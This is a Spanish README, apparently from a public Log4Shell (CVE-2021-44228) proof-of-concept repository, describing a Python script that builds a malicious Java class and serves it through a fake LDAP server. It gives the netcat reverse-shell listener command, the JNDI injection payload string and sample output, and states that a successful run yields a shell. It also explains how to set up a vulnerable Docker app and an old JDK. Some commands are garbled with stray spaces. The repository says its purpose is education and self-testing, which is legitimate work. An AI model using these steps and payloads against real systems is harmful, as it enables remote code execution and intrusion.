Una prueba de concepto para la vulnerabilidad CVE-2021-44228 encontrada recientemente.
Recientemente hubo una nueva vulnerabilidad en log4j, una biblioteca de registro de Java que se usa ampliamente en aplicaciones como elasticsearch, minecraft y muchos otros.
En este repositorio hay un ejemplo de aplicación vulnerable y un exploit de prueba de concepto (POC) de la misma.
Como PoC hay un archivo Python que automatiza el proceso.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
y estar en el mismo directorio. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
Este script configurará el servidor HTTP y el servidor LDAP por usted, y también creará la carga útil que puede usar para pegar en el parámetro vulnerable. Después de esto, si todo salió bien, deberías obtener un shell en el lport.
Hay un Dockerfile con la aplicación web vulnerable. Puede utilizar esto siguiendo los pasos a continuación:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
Una vez que se esté ejecutando, puede acceder a él en localhost:8080
Afortunadamente, Oracle proporciona un archivo para todas las versiones anteriores de Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Desplácese hacia abajo hasta 8u20
y descargue los archivos apropiados para su sistema operativo y hardware.
Nota: Es necesario crear una cuenta para poder descargar el paquete.
Una vez que haya descargado y extraído el archivo, puede encontrar java
y algunos binarios relacionados en jdk1.8.0_20/bin
.
Nota: asegúrese de extraer la carpeta jdk en este repositorio con el mismo nombre para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositorio no pretende ser un exploit de un solo clic para CVE-2021-44228. El propósito de este proyecto es ayudar a las personas a conocer esta vulnerabilidad y tal vez probar sus propias aplicaciones (sin embargo, existen mejores aplicaciones para este propósito, por ejemplo: https://log4shell.tools/).